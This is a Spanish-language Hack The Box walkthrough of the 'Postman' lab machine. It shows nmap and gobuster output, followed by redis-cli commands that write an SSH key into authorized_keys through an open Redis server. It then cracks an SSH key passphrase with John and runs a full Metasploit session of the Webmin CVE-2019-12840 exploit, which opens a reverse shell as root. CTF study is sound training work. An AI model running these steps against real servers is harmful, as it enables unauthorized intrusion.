This page looks best with JavaScript enabled

Hack The Box - Postman

 •  ✍️ sckull

Postman es una maquina de HackTheBox que expone Redis donde logramos escribir nuestra clave publica de SSH y obtener acceso por este. Encontramos una clave privada encriptada la cual crackeamos con John para obtener acceso al siguiente usuario. Finalmente accedimos a Webmin y explotamos una vulnerabilidad que nos dio acceso privilegiado.

Informacion de la Maquina

Nombre Postman box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.160
Maker

TheCyberGeek

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[7, 6.2, 7.8, 2.2, 3.8],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[9, 7, 10, 0, 3],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puerto tcp/udp, en el cual nos muestra el puerto http (80) y el puerto de ssh (22) abierto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Nmap 7.80 scan initiated Thu Dec 26 14:42:29 2019 as: nmap -p- --min-rate 1000 -o postman_nmap 10.10.10.160
Warning: 10.10.10.160 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.160
Host is up (0.26s latency).
Not shown: 65213 closed ports, 318 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt

# Nmap done at Thu Dec 26 14:45:40 2019 -- 1 IP address (1 host up) scanned in 191.74 seconds

# Nmap 7.80 scan initiated Thu Dec 26 14:46:53 2019 as: nmap -sV -sC -p22,80,6379,10000 -o postman_nmap_v 10.10.10.160
Nmap scan report for 10.10.10.160
Host is up (0.25s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 26 14:47:36 2019 -- 1 IP address (1 host up) scanned in 43.58 seconds

HTTP (Puerto 80)

En el puerto 80 nos muestra una pagina que al parecer esta en construccion.

image

PUERTO 6379

En el puerto 6379 nos muestra un mensaje de error.
image

PUERTO 10000

En este puerto nos muestra un mensaje de error en el cual nos dice que probemos en el protocolo https.
image

Cambiamos a https y nos muestra un panel de Webmin.
image

GOBUSTER - Puerto 80

Encontramos algunos directorios y archivos.

1
2
3
4
5
6
7
8
9
root@aoiri:~/htb/postman# gobuster dir -u http://10.10.10.160/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 15 -q
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/js (Status: 301)
/server-status (Status: 403)
/upload (Status: 301)

REDIS PUERTO 6379

Como vimos en el reporte de nmap este puerto esta corriendo un servicio de redis 4.0.9. Al intentar conectarnos con el servicio mediante redis-tools podemos obtener informacion del mismo.

image

REDIS - Explotacion

Utilizando los comandos de redis podemos obtener informacion del directorio donde esta corriendo o esta siendo utilizado por redis, tambien el nombre del archivo (dbfilename).

image

Vemos que la configuracion del dbfilename es dump.rdb y el directorio esta ubicado en /var/lib/redis, para obtener acceso a la maquina mediante redis vamos a sobrescribir la configuracion, agregando el dbfilename como authorized_keys donde vamos a escribir nuestra clave publica de ssh y dir como /var/lib/redis/.ssh.

REDIS SSH

Generamos nuestra clave publica con ssh-keygen la cual vamos a utilizar para iniciar sesion en el servicio ssh.
image

Antes de configurar redis debemos de agregar saltos de linea antes y despues en nuevo archivo agregando nuestra clave publica.

1
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > clave_publica.txt

image

Utilizamos redis-cli localmente para agregar la configuracion que necesitamos a la maquina, con los comandos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#Configuracion dir
redis-cli -h 10.10.10.160
config set dir /var/lib/redis/.ssh
config get dir

#Configuracion dbfilename
config set dbfilename authorized_keys
config get dbfilename
SLAVEOF NO ONE
save

#Escritura de clave publica en nuestra key
cat clave_publica.txt | redis-cli -h 10.10.10.160 -x set s-key
get s-key

image

Verificamos que nuestra clave publica se haya escrito en nuestra key (s-key):

image

Utilizando nuestra clave privada iniciamos sesion con el usuario redis:

image

Vemos el historial del usuario redis, encontramos que el usuario edito un archivo de python y un archivo de id_rsa.bak:

image

Archivo id_rsa.bak:
image

USER - Matt

Utilizando la clave privada con el usuario Matt con ssh nos pregunta por la frase.

image

Utilizamos ssh2john para obtener el hash del archivo y junto con john the ripper crackear la frase de la clave privada.

1
2
python ssh2john.py id_rsa_matt > id_rsa_matt.hash
john --format=SSH --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_matt.hash

image

FRASE: computer2008

Obtenemos la frase pero al intentar utilizarla con la clave privada no nos permite iniciars sesion.
image

Utilizamos la misma frase como contraseña de Matt y con el comando su, obtuvimos una shell con el usuario Matt y nuestra flag user.txt.
image

Flag:
image

PRIVILEGE ESCALATION

Utilizamos las credenciales de Matt en el puerto 10000 o webmin panel, exitosamente logramos iniciar sesion.

image

La version de webmin menores o iguales a 1.910 tienen una vulnerabilidad (CVE:2019-12840) que permite la ejecucion de comandos, configuramos metasploit con el cve, añadimos las credenciales de Matt y utilizamos SSL.

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
msf5 > search 2019-12840 

Matching Modules
================

   #  Name                                     Disclosure Date  Rank       Check  Description
   -  ----                                     ---------------  ----       -----  -----------
   0  exploit/linux/http/webmin_packageup_rce  2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution


msf5 > use exploit/linux/http/webmin_packageup_rce
msf5 exploit(linux/http/webmin_packageup_rce) > 
msf5 exploit(linux/http/webmin_packageup_rce) > show options 

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME                    yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910


msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160
rhosts => 10.10.10.160
msf5 exploit(linux/http/webmin_packageup_rce) > 
msf5 exploit(linux/http/webmin_packageup_rce) > show options 

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.160     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME                    yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910


msf5 exploit(linux/http/webmin_packageup_rce) > set lhost tun0
lhost => 10.10.14.67
msf5 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt
USERNAME => Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008
PASSWORD => computer2008
msf5 exploit(linux/http/webmin_packageup_rce) > set SSL true 
SSL => true
msf5 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.14.67:4444 
[+] Session cookie: 4c7f4b517283e96d41da23ced104e00a
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.67:4444 -> 10.10.10.160:42436) at 2019-12-29 22:13:48 -0600
id


uid=0(root) gid=0(root) groups=0(root)
whoami; pwd
root
/usr/share/webmin/package-updates/

image

Obtenemos una sesion con privilegios root y nuestra flag root.txt.
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe